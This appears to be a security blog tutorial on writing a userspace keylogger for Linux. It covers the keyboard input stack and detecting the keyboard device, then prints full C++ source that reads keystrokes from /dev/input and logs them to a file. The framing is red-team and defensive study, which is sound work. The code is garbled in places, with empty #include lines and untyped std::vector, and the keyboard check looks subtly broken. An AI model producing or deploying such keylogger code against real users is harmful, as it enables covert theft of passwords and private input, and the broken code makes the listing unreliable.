34.Key AbstractDigital

In this first part of our Complete Guide to Keylogging in Linux, we will explore the basics of keylogging and its importance in the realm of Linux security, and dive deeper into keylogging in userspace, demonstrating how a keylogger can be written for Linux, by reading events directly from a keyboard device. 

What is a Keylogger?

A keylogger is a computer program designed to monitor keyboard inputs, generally in a covert manner to ensure that person being monitored is unaware of the activity. These programs generally monitor lower level keyboard events (e.g. key up and key down); and can run anywhere from kernel space to userspace depending upon design.

A keylogger is a tool which is often used covertly to monitor keystrokes on a keyboard. In this article, we will cover keylogging in userspace.

Why will a security person need/use it?

Such programs are generally used in security audit excercises (commonly known as "red team"). Red team people use various attack tools to compromise target system, infiltrate the infrastructure, and capture precious data to find and expose various gaps in security monitoring of the entire target organization. Keyloggers are used to record account credentials, network credentials etc. which are then used for further infiltration of the infrastructure.

Why is studying a keylogger important?

For offensive security or red team:

  1. You understand multiple ways to implement a keylogger
  2. You understand various places where a keylogger can run (userspace, kernel, hypervisor etc.)

For defensive security or blue team:

  1. You understand common places where a keylogger can hide.
  2. You understand common APIs and methods that should be monitored to detect keyloggers (based on behaviour)

Keyboard and Linux

A very basic overview of how a keyboard fits in the bigger scheme is given below:


        /-----------+-----------\   /-----------+-----------\
        |   app 1   |    app 2  |   |   app 3   |    app 4  |
        \-----------+-----------/   \-----------+-----------/
                    ^                           ^
                    |                           |
            +-------+                           |
            |                                   |
            | key symbol              keycode   |
            | + modifiers                       |
            |                                   |
            |                                   |
        +---+-------------+         +-----------+-------------+
        +     X server    |         |    /dev/input/eventX    |
        +-----------------+         +-------------------------+
                ^                               ^
                |      keycode / scancode       |
                +---------------+---------------+
                                |
                                |
                +---------------+--------------+      interrupt
                |           kernel             | <--------=-------+
                +------------------------------+                  |
                                                                  |
    +----------+     USB, PS/2      +-------------+ PCI, ...   +-----+
    | keyboard |------------------->| motherboard |----------->| CPU |
    +----------+    key up/down     +-------------+            +-----+

Here, keyboard does not pass ASCII code of the key pressed. It passes a unique byte per key-down and key-up event, which is called key-code or scan code. When a key is pressed or released, it passes scan code to motherboard over whatever interface it is connectec with. The motherboard will see that there is a keyboard event, and raise an interrupt to CPU. CPU sees this interrupt, and launches a special chunk of code called interrupt handler (which comes from kernel itself, and is registered by populating Interrupt Descriptor Table). The interrupt handler takes information passed by keyboard, and passes this to kernel; which in turn exposes this via special path in devtmpfs (/dev/input/eventX).

In a GUI based system, X server will take these scan codes from kernel, and transform them to key symbol and related metadata. This layer ensures that locale and keyboard map settings are applied correctly (this can be done without X server as well). All the GUI applications launched on the system get events from X server, and therefore will get processed event data.

Based on what we know, we can write a keylogger in two ways:

  • By finding which /dev/input/eventX file is a keyboard device, and reading from that file directly.
  • By asking X server itself to pass event data to us.

Finding the Keyboard Device

The basic logic behind identifying keyboard device is pretty straightforward:

  1. Iterate over `/dev/input/` for all files
  2. Check if given file is a character device
  3. Check if given file supports key events
  4. Check if given file has some keys found on keyboards

Here, a system can have more than one keyboards; or devices which pretend to be a keyboard (e.g. barcode scanners). In such cases, you can try to check if multiple keys are supported. Otherwise, you can read all of them, and then process the recorded data later to filter out unwanted devices.

Iterating over directory, and finding character files is trivial with C++17, as shown below:


std::string get_kb_device()
{
    std::string kb_device = "";

    for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
    {
        std::filesystem::file_status status = std::filesystem::status(p);

        if (std::filesystem::is_character_file(status))
        {
            kb_device = p.path().string();
        }
    }
    return kb_device;
}

Checking if the file is indeed a keyboard, and supports keys found on actual keyboards, is little bit more involved. The scheme can be summarised as below:

  1. Check if file is indeed readable.
  2. Use IOCTL to see if key events are supported.
  3. Use IOCTL to see if certain specific keys are supported.

Sample code for the above logic is given below:


std::string filename = p.path().string();
int fd = open(filename.c_str(), O_RDONLY);
if(fd == -1)
{
    std::cerr << "Error: " << strerror(errno) << std::endl;
    continue;
}

int32_t event_bitmap = 0;
int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;

ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
if((EV_KEY & event_bitmap) == EV_KEY)
{
    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
    if((kbd_bitmap & event_bitmap) == kbd_bitmap)
    {
        // The device supports A, B, C, Z keys, so it probably is a keyboard
        kb_device = filename;
        close(fd);
        break;
    }

}
close(fd);

Reading Keyboard Events

Once we find the keyboard device, reading the events is straightforward:

  1. Read from keyboard device in object of `input_event`
  2. Check if even type is EV_KEY (i.e. a key event)
  3. Interpret the fields, and extract scan code
  4. Map scan code to name of key

The structure `input_event` is defined as follows:

struct input_event {
#if (__BITS_PER_LONG != 32 || !defined(__USE_TIME_BITS64)) && !defined(__KERNEL__)
	struct timeval time;
#define input_event_sec time.tv_sec
#define input_event_usec time.tv_usec
#else
	__kernel_ulong_t __sec;
#if defined(__sparc__) && defined(__arch64__)
	unsigned int __usec;
	unsigned int __pad;
#else
	__kernel_ulong_t __usec;
#endif
#define input_event_sec  __sec
#define input_event_usec __usec
#endif
	__u16 type;
	__u16 code;
	__s32 value;
}

Where,

    • `time` is the timestamp, it returns the time at which the event happened.
    • `type` is event type, defined in /usr/include/linux/input-event-codes.h. For key events, it will be **EV_KEY**
    • `code` is event code, defined in /usr/include/linux/input-event-codes.h. For key events, it will be scan code
    • `value` is the value the event carries. Either a relative change for EV_REL, absolute new value for EV_ABS (joysticks etc.), or 0 for EV_KEY for release, 1 for keypress and 2 for autorepeat.

For a basic scan code to key name mapping, you can use the following map:

std::vector keycodes = {
        "RESERVED",
        "ESC",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9",
        "0",
        "MINUS",
        "EQUAL",
        "BACKSPACE",
        "TAB",
        "Q",
        "W",
        "E",
        "R",
        "T",
        "Y",
        "U",
        "I",
        "O",
        "P",
        "LEFTBRACE",
        "RIGHTBRACE",
        "ENTER",
        "LEFTCTRL",
        "A",
        "S",
        "D",
        "F",
        "G",
        "H",
        "J",
        "K",
        "L",
        "SEMICOLON",
        "APOSTROPHE",
        "GRAVE",
        "LEFTSHIFT",
        "BACKSLASH",
        "Z",
        "X",
        "C",
        "V",
        "B",
        "N",
        "M",
        "COMMA",
        "DOT",
        "SLASH",
        "RIGHTSHIFT",
        "KPASTERISK",
        "LEFTALT",
        "SPACE",
        "CAPSLOCK",
        "F1",
        "F2",
        "F3",
        "F4",
        "F5",
        "F6",
        "F7",
        "F8",
        "F9",
        "F10",
        "NUMLOCK",
        "SCROLLLOCK"
};

For sake of completeness, full source code of keylogger is given below:

#include 
#include 
#include 
#include 
#include 

#include <sys/stat.h>
#include <linux/input.h>

#include 

#include 
#include 
#include 
#include 

std::vector keycodes = {
        "RESERVED",
        "ESC",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9",
        "0",
        "MINUS",
        "EQUAL",
        "BACKSPACE",
        "TAB",
        "Q",
        "W",
        "E",
        "R",
        "T",
        "Y",
        "U",
        "I",
        "O",
        "P",
        "LEFTBRACE",
        "RIGHTBRACE",
        "ENTER",
        "LEFTCTRL",
        "A",
        "S",
        "D",
        "F",
        "G",
        "H",
        "J",
        "K",
        "L",
        "SEMICOLON",
        "APOSTROPHE",
        "GRAVE",
        "LEFTSHIFT",
        "BACKSLASH",
        "Z",
        "X",
        "C",
        "V",
        "B",
        "N",
        "M",
        "COMMA",
        "DOT",
        "SLASH",
        "RIGHTSHIFT",
        "KPASTERISK",
        "LEFTALT",
        "SPACE",
        "CAPSLOCK",
        "F1",
        "F2",
        "F3",
        "F4",
        "F5",
        "F6",
        "F7",
        "F8",
        "F9",
        "F10",
        "NUMLOCK",
        "SCROLLLOCK"
};

int loop = 1;

void sigint_handler(int sig)
{
    loop = 0;
}

int write_all(int file_desc, const char *str)
{
    int bytesWritten = 0;
    int bytesToWrite = strlen(str);

    do
    {
        bytesWritten = write(file_desc, str, bytesToWrite);

        if(bytesWritten == -1)
        {
            return 0;
        }
        bytesToWrite -= bytesWritten;
        str += bytesWritten;
    } while(bytesToWrite > 0);

    return 1;
}

void safe_write_all(int file_desc, const char *str, int keyboard)
{
    struct sigaction new_actn, old_actn;
    new_actn.sa_handler = SIG_IGN;
    sigemptyset(&new_actn.sa_mask);
    new_actn.sa_flags = 0;

    sigaction(SIGPIPE, &new_actn, &old_actn);

    if(!write_all(file_desc, str))
    {
        close(file_desc);
        close(keyboard);
        std::cerr << "Error: " << strerror(errno) << std::endl;
        exit(1);
    }

    sigaction(SIGPIPE, &old_actn, NULL);
}

void keylogger(int keyboard, int writeout)
{
    int eventSize = sizeof(struct input_event);
    int bytesRead = 0;
    const unsigned int number_of_events = 128;
    struct input_event events[number_of_events];
    int i;

    signal(SIGINT, sigint_handler);

    while(loop)
    {
        bytesRead = read(keyboard, events, eventSize * number_of_events);

        for(i = 0; i < (bytesRead / eventSize); ++i)
        {
            if(events[i].type == EV_KEY)
            {
                if(events[i].value == 1)
                {
                    if(events[i].code > 0 && events[i].code < keycodes.size())
                    {
                        safe_write_all(writeout, keycodes[events[i].code].c_str(), keyboard);
                        safe_write_all(writeout, "\n", keyboard);
                    }
                    else
                    {
                        write(writeout, "UNRECOGNIZED", sizeof("UNRECOGNIZED"));
                    }
                }
            }
        }
    }
    if(bytesRead > 0) safe_write_all(writeout, "\n", keyboard);
}

std::string get_kb_device()
{
    std::string kb_device = "";

    for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
    {
        std::filesystem::file_status status = std::filesystem::status(p);

        if (std::filesystem::is_character_file(status))
        {
            std::string filename = p.path().string();
            int fd = open(filename.c_str(), O_RDONLY);
            if(fd == -1)
            {
                std::cerr << "Error: " << strerror(errno) << std::endl;
                continue;
            }

            int32_t event_bitmap = 0;
            int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;

            ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
            if((EV_KEY & event_bitmap) == EV_KEY)
            {
                // The device acts like a keyboard

                ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
                if((kbd_bitmap & event_bitmap) == kbd_bitmap)
                {
                    // The device supports A, B, C, Z keys, so it probably is a keyboard
                    kb_device = filename;
                    close(fd);
                    break;
                }
            }
            close(fd);
        }
    }
    return kb_device;
}

void print_usage_and_quit(char *application_name)
{
    std::cout << "Usage: " << application_name << " output-file" << std::endl;
    exit(1);
}

int main(int argc, char *argv[])
{
    std::string kb_device = get_kb_device();

    if (argc < 2)
        print_usage_and_quit(argv[0]);

    if(kb_device == "")
        print_usage_and_quit(argv[0]);

    int writeout;
    int keyboard;

    if((writeout = open(argv[1], O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0)
    {
        std::cerr << "Error opening file " << argv[1] << ": " << strerror(errno) << std::endl;
        return 1;
    }

    if((keyboard = open(kb_device.c_str(), O_RDONLY)) < 0)
    {
        std::cerr << "Error accessing keyboard from " << kb_device << ". May require you to be superuser." << std::endl;
        return 1;
    }

    std::cout << "Keyboard device: " << kb_device << std::endl;
    keylogger(keyboard, writeout);

    close(keyboard);
    close(writeout);

    return 0;
}

Implementing proper entries for key press and release, handling backspaces etc. are left as an exercise to the reader.

About the Author

Adhokshaj Mishra works as a security researcher (malware - Linux) at Uptycs. His interest lies in offensive and defensive side of Linux malware research. He has been working on attacks related to containers, kubernetes; and various techniques to write better malware targeting Linux platform. In his free time, he loves to dabble into applied cryptography, and present his work in various security meetups and conferences.